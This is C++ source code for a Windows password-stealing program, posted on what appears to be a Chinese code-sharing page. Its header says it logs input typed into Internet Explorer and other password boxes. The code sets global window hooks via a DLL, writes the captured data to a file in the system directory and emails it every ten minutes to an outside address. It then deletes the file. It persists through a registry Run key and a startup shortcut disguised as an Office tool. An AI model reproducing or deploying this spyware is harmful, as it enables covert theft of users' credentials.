📄 getpass.cpp
字号:
/* getpass.cpp:
可以将所有在IE和其他所有密码框中的输入记录下来. 并用ftp/email发送到免费个人主页/信箱
http://www.nease.net/~inetsoft, http://netcom.163.net netcom@163.net paladin@china.com
by lgd/Paladin.InetSoft GuangZhou
Update 19981215: initconn(), using sd_connect instead of gethostname
Update 19981218: add CreateStartup() and GetProxy()
Update 19991130:use smtp instead of ftp
*/
#include <windows.h>
#include <shlobj.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <io.h>
#include "resource.h"
#include "tcp.h"
#include "smtp.h"
int CreateRun(void);
int CreateStartup(void); /* copy文件到windows目录并在启动中建立快捷方式或设置自动启动 */
int DeleteShortCut();
int GetProxy(void); /* 查询代理服务器 */
int SendUserData(); /* 发送数据到 ftp server */
int ftp_cmd(int sd, char *cmd, int success_code); /* 执行命令 */
int ftp_login(char *hostname, char *user_name, char *passwd);
int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time);
int initconn(int sd); /* 建立数据连接 */
int get_reply(int sd); /* 接收回答 */
void ftp_quit(int sd);
int g_code;
char g_reply[1024];
char proxy[20];
/* hooks in ../spydll/hook.c */
BOOL SetMsgHook(BOOL fSet)
{
static HHOOK hhkGetMessage = NULL;
static HHOOK hhkCallWndProc = NULL;
static HMODULE hmodHook;
if (fSet)
{
if (!hmodHook)
{
if (!(hmodHook = LoadLibrary("fivedll.dll")))
{
return FALSE;
}
}
if (!hhkGetMessage)
{
if (!(hhkGetMessage = SetWindowsHookEx(WH_GETMESSAGE,
(HOOKPROC)GetProcAddress(hmodHook, "SpyGetMsgProc"), hmodHook, 0)))
{
return FALSE;
}
}
if (!hhkCallWndProc)
{
if (!(hhkCallWndProc = SetWindowsHookEx(WH_CALLWNDPROC,
(HOOKPROC)GetProcAddress(hmodHook, "SpyCallWndProc"), hmodHook, 0)))
{
UnhookWindowsHookEx(hhkGetMessage);
return FALSE;
}
}
}
else
{
if (hhkGetMessage)
{
UnhookWindowsHookEx(hhkGetMessage);
hhkGetMessage = NULL;
}
if (hhkCallWndProc)
{
UnhookWindowsHookEx(hhkCallWndProc);
hhkCallWndProc = NULL;
}
FreeLibrary(hmodHook);
}
return TRUE;
}
int filePos =0;
char UserFile[128];
HRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
static int filePos =0;
int newPos =0;
switch(msg)
{
case WM_CREATE:
if(!GetSystemDirectory(UserFile, sizeof(UserFile)-20))
return TRUE;
strcat(UserFile, "\\user.txt");
SetMsgHook(TRUE);
SetTimer(hWnd, 1, 600000, NULL);/*每隔10分钟发送文件*/
break;
case WM_TIMER:
KillTimer(hWnd, 1);
SendUserData();
SetTimer(hWnd, 1, 600000, NULL);
break;
case WM_DESTROY:
SetMsgHook(FALSE);
CreateStartup();
tcp_exit();
PostQuitMessage(0);
break;
case WM_QUERYENDSESSION:
SetMsgHook(FALSE);
CreateStartup();
tcp_exit();
return TRUE;
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HWND hwnd;
WNDCLASS ws;
MSG msg;
if(FindWindow("Five100", NULL) !=NULL) return 0;
memset(proxy, 0, sizeof(proxy));
memset(&ws, 0, sizeof(ws));
GetProxy();
CreateStartup();
DeleteShortCut();
tcp_init();
ws.lpszClassName ="Five100";
ws.lpfnWndProc =MainWndProc;
ws.hbrBackground =(HBRUSH)(COLOR_WINDOW+1);
ws.hInstance =hInstance;
ws.hIcon =LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON1));
if(RegisterClass(&ws) <0)
{
tcp_exit();
return FALSE;
}
hwnd =CreateWindow("Five100", "", WS_POPUP|WS_SYSMENU|WS_CAPTION,
20, 20, 200, 200, NULL, NULL, hInstance, NULL);
if(hwnd ==NULL)
{
tcp_exit();
return FALSE;
}
while (GetMessage(&msg, NULL, 0, 0))
{
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
SetMsgHook(FALSE);
CreateStartup();
tcp_exit();
return msg.wParam;
}
int SendUserData()
{
int sd =-1, len;
/* www.nease.net:202.96.152.194, 如果使用smtp,可以不泄露密码,但有时代理服务器不能通过*/
/*if(proxy[0])
{
strcpy(hostname, proxy);
strcpy(username, "????"); //for wingate
}
else
{
retry_local:
strcpy(hostname, "paladin.163.net");
strcpy(username, "paladin");
}*/
if(_access(UserFile, 0) !=0) return 0;
if((sd =smtp_connect("smtp.china.com", 25, 60)) <0)
{
return -1;
}
sd_connect =sd;
if((len =smtp_sendfile(sd, "bbs@china.com", "liger@china.com", UserFile)) <0)
{
smtp_disconnect(sd);
return -1;
}
smtp_disconnect(sd);
remove(UserFile);
return 0;
}
int ftp_cmd(int sd, char *cmd, int success_code)
{
int code;
if(tcp_send(sd, cmd, strlen(cmd), 5) !=(int)strlen(cmd))
return -1;
if((code =get_reply(sd)) !=success_code)
{
return -2;
}
return 0;
}
int ftp_login(char *hostname, char *user_name, char *passwd)
{
int sd, ret;
char cmds[100];
if((sd =tcp_connect(hostname, 21, 10)) <0)
return -1;
if((ret =get_reply(sd)) !=220)
{
closesocket(sd);
return -1;
}
sprintf(cmds, "USER %s\r\n", user_name);
if(ftp_cmd(sd, cmds, 331) <0)
{
closesocket(sd);
return -1;
}
sprintf(cmds, "PASS %s\r\n", passwd);
if(ftp_cmd(sd, cmds, 230) <0)
{
closesocket(sd);
return -1;
}
return sd;
}
int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time)
{
char cmds[300];
int len, file_len =0, len_sent =0, ret =0, code;
char *buf =NULL;
FILE *fp =NULL;
if((fp =fopen(file_local, "r")) ==NULL)
{
ret =-1;
goto f_exit;
}
fseek(fp, 0, SEEK_END);
file_len =ftell(fp)-pos;
if(file_len <0)
{
fclose(fp);
return -1;
}
if(file_len <pos)
{
filePos =0;
WriteProfileString("UserFile", "Pos", "0");
fclose(fp);
return 0;
}
if(file_len ==pos)
{
fclose(fp);
return 0;
}
fseek(fp, pos, SEEK_SET);
if(ftp_cmd(sd, "TYPE I\r\n", 200) <0)
{
ret =-1;
goto f_exit;
}
if((sd_bind =initconn(sd)) <0)
{
ret =-1;
goto f_exit;
}
sprintf(cmds, "STOR %s\r\n", file_remote);
if(ftp_cmd(sd, cmds, 150) <0)
{
ret =-1;
goto f_exit;
}
if((sd_accept =tcp_accept(sd_bind, 20)) <0)
{
ret =-1;
goto f_exit;
}
if((buf =(char *)malloc(1024+1)) ==NULL)
{
ret =-1;
goto f_exit;
}
len_sent =0;
while(len_sent < file_len)
{
if(file_len-len_sent <1024) len =file_len-len_sent;
else len =1024;
if(fread(buf, len, 1, fp) !=1)
{
get_reply(sd);
ret =-1;
goto f_exit;
}
if(tcp_send(sd_accept, buf, len, max_wait_time) !=len)
{
ret =-1;
get_reply(sd);
goto f_exit;
}
len_sent +=len;
}
closesocket(sd_accept); sd_accept =-1;
if((code =get_reply(sd)) !=226)
{
goto f_exit;
}
ret =len_sent;
f_exit:
if(sd_accept >=0) closesocket(sd_accept);
if(sd_bind >=0) closesocket(sd_bind);
sd_accept =-1;
sd_bind =-1;
if(fp) fclose(fp);
if(buf) free(buf);
return ret;
}
int initconn(int sd)
{
char *p1, *p2;
struct sockaddr_in addr1, addr2;
char temp[256];
int len;
int code, sd_data;
/*struct hostent *hp;*/
if((sd_data =tcp_bind(NULL, 0)) <0)
return -1;
len =sizeof(addr1);
/*if(gethostname(temp, sizeof(temp)) !=0)
return -1;
if((hp =gethostbyname(temp)) ==NULL)
return -1;*/
if(getsockname(sd_connect, (struct sockaddr *)&addr1, &len) <0)
return -1;
if(getsockname(sd_data, (struct sockaddr *)&addr2, &len) <0)
return -1;
/*p1 =(char *)hp->h_addr;*/
p1 =(char *)&addr1.sin_addr;
p2 =(char *)&addr2.sin_port;
sprintf(temp, "PORT %d,%d,%d,%d,%d,%d\r\n", ((int)p1[0]) &0xff, ((int)p1[1]) &0xff, (int)p1[2] &0xff, (int)p1[3]&0xff, (int)p2[0]&0xff, (int)p2[1]&0xff);
if(tcp_send(sd, temp, strlen(temp), 10) !=(int)strlen(temp))
{
closesocket(sd_data);
return -1;
}
if((code =get_reply(sd)) !=200)
{
closesocket(sd_data);
return -1;
}
return sd_data;
}
int get_reply(int sd)
{
int i, code =0;
again:
i =0;
memset(g_reply, 0, sizeof(g_reply));
while(1)
{
if(tcp_recv(sd, &g_reply[i], 1, 10) !=1)
break;
if(g_reply[i] =='\r') g_reply[i] =' ';
if(g_reply[i] =='\n')
{
g_reply[i] =' ';
g_reply[i+1] =0;
if(sscanf(g_reply, "%d", &code) !=1)
{
return -1;
}
else break;
}
i++;
}
if(g_reply[3] =='-')
{
i =0;
goto again;
}
g_code =code;
return code;
}
void ftp_quit(int sd)
{
ftp_cmd(sd, "QUIT\r\n", 221);
closesocket(sd);
}
int GetProxy(void)
{
char *tok =NULL;
HKEY hKey;
unsigned char temp[100];
unsigned long type, len;
temp[0] =0;
if(RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings",
0, KEY_READ, &hKey) !=ERROR_SUCCESS)
return -1;
len =sizeof(temp);
if(RegQueryValueEx(hKey, "ProxyServer", NULL, &type, temp, &len) !=ERROR_SUCCESS)
{
RegCloseKey(hKey);
return -1;
}
if(tok =strtok((char *)temp, ":"))
strcpy(proxy, tok);
RegCloseKey(hKey);
return 0;
}
int CreateRun(void)
{
HKEY hKey;
const char *pval ="Five32.exe";
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_WRITE, &hKey) !=ERROR_SUCCESS)
return -1;
if(RegSetValueEx(hKey, "Five32", 0, REG_SZ, (const unsigned char *)pval, strlen(pval)+1)
!=ERROR_SUCCESS)
{
RegCloseKey(hKey);
return -1;
}
RegCloseKey(hKey);
return 0;
}
/* Create shortcut in startup menu */
int CreateStartup(void)
{
HRESULT hres;
IShellLink* pShellLink;
char temp[128], windir[100];
GetWindowsDirectory(windir, sizeof(windir));
sprintf(temp, "%s\\fivedll.dll", windir);
CopyFile("fivedll.dll", temp, 1);
sprintf(temp, "%s\\five32.exe", windir);
CopyFile("five32.exe", temp, 1);
if(CreateRun() ==0) return 0;
CoInitialize(NULL);
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER,
IID_IShellLink, (LPVOID*)&pShellLink);
if(SUCCEEDED(hres))
{
IPersistFile* pPersistFile;
sprintf(temp, "%s\\five32.exe", windir);
pShellLink->SetPath(temp);
pShellLink->SetDescription("five32");
hres =pShellLink->QueryInterface(IID_IPersistFile, (LPVOID*)&pPersistFile);
if(SUCCEEDED(hres))
{
WCHAR wsz[128];
sprintf(temp, "%s\\Start Menu\\Programs\\启动\\Office工具.lnk", windir);
MultiByteToWideChar( CP_ACP, 0, temp,
-1, wsz, 128);
hres = pPersistFile->Save(wsz, TRUE);
/*if(FAILED(hres))
{
char *pstr ="c:\\windows\\Start Menu\\Programs\\启动\\startrun.lnk";
retry =1;
copy spy.exe and spydll.dll to start
goto retry;
}*/
pPersistFile->Release();
}
pShellLink->Release();
}
CoUninitialize();
return (int)hres;
}
int DeleteShortCut()
{
char windir[100], file[128];
GetWindowsDirectory(windir, sizeof(windir));
sprintf(file, "%s\\Start Menu\\Programs\\启动\\Office工具.lnk", windir);
remove(file);
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -